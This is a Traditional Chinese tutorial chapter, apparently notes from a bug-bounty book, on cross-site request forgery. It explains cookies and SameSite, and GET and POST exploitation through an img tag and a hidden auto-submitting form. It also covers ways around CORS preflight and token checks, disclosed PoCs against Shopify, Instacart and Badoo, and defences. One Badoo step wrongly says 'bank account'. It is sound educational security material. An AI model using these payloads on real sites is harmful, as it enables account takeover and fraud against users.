跨站請求偽造(Cross-Site Request Forgery,CSRF)發生在攻擊者讓受害者的瀏覽器代為發出對另一個網站的請求,而那個網站把該請求視為合法、且由受害者本人主動送出。CSRF 通常依賴受害者已登入目標網站,並在其不知情下觸發。一旦得手,攻擊者可以修改伺服器端資料,甚至接管帳號。

一個基本流程#

  1. Bob 登入銀行網站查看餘額
  2. 瀏覽銀行後,Bob 在另一個網域上開啟信箱
  3. 信箱裡有一封不熟悉的連結,他點擊
  4. 該不熟悉的網站讓 Bob 的瀏覽器自動發出HTTP 請求到銀行,要求把錢轉給攻擊者
  5. 銀行收到那筆請求,因為沒有 CSRF 防護,照常執行轉帳

認證機制(Authentication)#

CSRF 之所以成立,關鍵在於網站如何認證請求。常見兩種方式:

Basic Authentication#

請求中夾帶類似標頭:

Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l

該字串是 username:password 經 base64 編碼。本章不深入,但同樣可被 CSRF 影響。

Cookie 是網站存放在瀏覽器中的小檔,包含屬性名稱/值。常見屬性:

  • domain:可送出該 Cookie 的網域範圍
  • expires / max-age:到期時點或剩餘秒數
  • secure:只在 HTTPS 連線時送出
  • httponly:禁止 JavaScript 讀取(XSS 防護重點,第 7 章詳述)
  • samesite(較新):strict 完全禁止跨站送出;lax 容許「初次 GET」(如使用者主動點連結)夾帶 Cookie

Bob 沒有登出銀行——這個細節很關鍵。登出時,伺服器通常會回應一個讓 Cookie 失效的 HTTP response。沒登出意味著 Cookie 仍然有效,只要 Bob 的瀏覽器發送請求到銀行,就會自動帶上認證 Cookie。

CSRF 利用 GET 請求#

如果銀行接受 GET 觸發轉帳,攻擊者可用 <img> 標籤偽造請求:

<img src="https://www.bank.com/transfer?from=bob&to=joe&amount=500" />

當 Bob 載入含此 <img> 的惡意頁時,瀏覽器會把這個 URL 當圖片來源去抓——同時自動帶上對 bank.com 的 Cookie。銀行收到請求後處理轉帳。

黃金原則:任何會改變後端資料的動作都不該用 GET。Ruby on Rails、Django 等框架預設只對 POST 添加 CSRF 防護,因此使用 GET 改資料的設計非常危險。

CSRF 利用 POST 請求#

<img> 無法觸發 POST,需要改用隱藏表單:

<iframe style="display:none" name="csrf-frame"></iframe>
<form
  method="POST"
  action="http://bank.com/transfer"
  target="csrf-frame"
  id="csrf-form"
>
  <input type="hidden" name="from" value="Bob" />
  <input type="hidden" name="to" value="Joe" />
  <input type="hidden" name="amount" value="500" />
  <input type="submit" value="submit" />
</form>
<script>
  document.getElementById("csrf-form").submit();
</script>

要點:

  • <input type="hidden"> 讓欄位對使用者不可見
  • <script> 在頁面載入時自動送出表單
  • 回應透過 display:none 的 iFrame 吞掉,受害者完全不察

Content-Type 與 Preflight OPTIONS#

POSTContent-Typeapplication/json 時,瀏覽器會先送 Preflight OPTIONS:先問伺服器允不允許這個跨來源請求,再決定要不要送 POST。這稱為 CORS(Cross-Origin Resource Sharing) 機制,是 CSRF 的關鍵防線。

繞過 CORS 的常見手法:

  • Content-Type 改成 application/x-www-form-urlencodedmultipart/form-datatext/plain——這三種不會觸發 Preflight OPTIONS
  • 改用 GET 請求(同樣不會觸發 Preflight)
  • 檢查回應的 Access-Control-Allow-Origin,看伺服器是否信任任意來源——若是,問題比 CSRF 更大

CSRF 的防禦機制#

CSRF Token#

最常見的防護:每個會改資料的請求都要帶一個伺服器生成、不可猜測、與使用者綁定的 Token。範例:

<form method="POST" action="http://bank.com/transfer">
  <input type="text" name="from" value="Bob" />
  <input type="text" name="to" value="Joe" />
  <input type="text" name="amount" value="500" />
  <input
    type="hidden"
    name="csrf"
    value="lHt7DDDyUNKoHCC66BsPB8aN4p24hxNu6ZuJA+8l+YA="
  />
  <input type="submit" value="submit" />
</form>

Token 可放在 HTTP 標頭、POST body 或隱藏欄位。常見命名:X-CSRF-TOKENlia-tokenrtform-id

看到 Token 不代表這個目標就無解。試著移除、改值、抹空——確認後端是否真的驗證它。

CORS#

CORS 限制跨來源讀取回應,但實作不當就能繞過(如改 Content-Type)。

Origin / Referer 檢查#

伺服器檢查請求的 OriginReferer,確認來源網域。瀏覽器會控制這兩個標頭,攻擊者無法遠端修改(除非利用瀏覽器漏洞)。

設為 strict 時 Cookie 完全不會在跨站場景送出;設為 lax 則允許初次 GET——這也呼應了「GET 不該改資料」的設計原則。

案例 1:Shopify Twitter Disconnect#

漏洞描述#

Shopify 提供「將 Twitter 帳號連結到商店」功能,取消連結僅需 GET 請求:

GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
Cookie: _twitter-commerce_session=REDACTED

未驗證請求來源。研究者 WeSecureApp 提供 PoC:

<html>
  <body>
    <img
      src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect"
    />
  </body>
</html>

任何已連結 Twitter 的 Shopify 用戶造訪此頁,都會被強制斷開連結。

Takeaways#

用 Burp 或 OWASP ZAP 攔截流量,盯緊「以 GET 改變伺服器狀態」的請求——這幾乎是 CSRF 的明燈。

案例 2:Change Users Instacart Zones#

漏洞描述#

Instacart 的 admin 子網域上一個 API endpoint 允許 POST 修改外送員的工作區域,未驗證 CSRF

<html>
  <body>
    <form action="https://admin.instacart.com/api/v2/zones" method="POST">
      <input type="hidden" name="zip" value="10001" />
      <input type="hidden" name="override" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

override=true 強制覆蓋目標的設定。

Takeaways#

API endpoint 也屬於攻擊面。開發者常以為 API 不像網頁那樣容易被使用者發現,因此忽視防護。手機 App 多半透過 API 與後端互動,可在 Burp / ZAP 中監聽。

案例 3:Badoo Full Account Takeover#

漏洞描述#

Badoo 採用 CSRF Token:每位使用者一個獨特的 rt 參數。研究者 Mahmoud Jamal 注意到 rt 出現在許多 JSON 回應中,但 CORS 阻擋了攻擊者讀取——直到他翻到一支 JavaScript:

https://eu1.badoo.com/worker-scope/chrome-service-worker.js

裡頭有:

var url_stats =
  "https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<urt_param_value>";

CORS 不會阻擋瀏覽器嵌入第三方 JavaScript,因此攻擊者可在自己頁面 <script src="…/chrome-service-worker.js?ws=1"> 載入此檔,再讀取 url_stats 變數抽出 rt

PoC#

<html>
  <head>
    <title>Badoo account take over</title>
    <script src="https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1"></script>
  </head>
  <body>
    <script>
      function getCSRFcode(str) {
        return str.split("=")[2];
      }
      window.onload = function () {
        var csrf_code = getCSRFcode(url_stats);
        var csrf_url =
          "https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt=" +
          csrf_code;
        window.location = csrf_url;
      };
    </script>
  </body>
</html>

流程:

  1. <script src> 載入 Badoo 的 worker script,自動執行其中的 var url_stats = ...,把 url_stats 變成全域變數
  2. window.onload 執行時,從 url_stats 字串中抽出 rt 值(csrf_code
  3. csrf_code 串入 google/verify.phtml,將攻擊者的 Google 帳號綁定到受害者的 Badoo 帳號
  4. window.location 跳轉觸發 GET,銀行帳號接管完成

Takeaways#

「煙起就有火」——當 CSRF Token 在多個非預期位置(特別是 JSON 回應)出現時,極可能在某處能被攻擊者讀到。本案的 Token 只有 5 碼且放在 URL 中,本身就有設計問題。

用 Burp 全文搜尋所有資源,把 Token 當關鍵字找一遍——常會挖到資訊洩漏。

章末總結#

  • CSRF 利用「瀏覽器自動帶 Cookie」的特性讓受害者代為執行動作
  • GET 不該改資料;多數框架只對 POST 預設 CSRF 防護——查 GET 改資料的請求是高 CP 值的切入點
  • API endpoint 與網頁同樣是攻擊面,行動 App 後端尤值得留意
  • 看到 CSRF Token 不要止步:嘗試移除、修改、查找它還在哪些地方被洩漏
  • 防禦:CSRF Token、CORS、Origin/Referer 檢查、samesite Cookie——多層並用才穩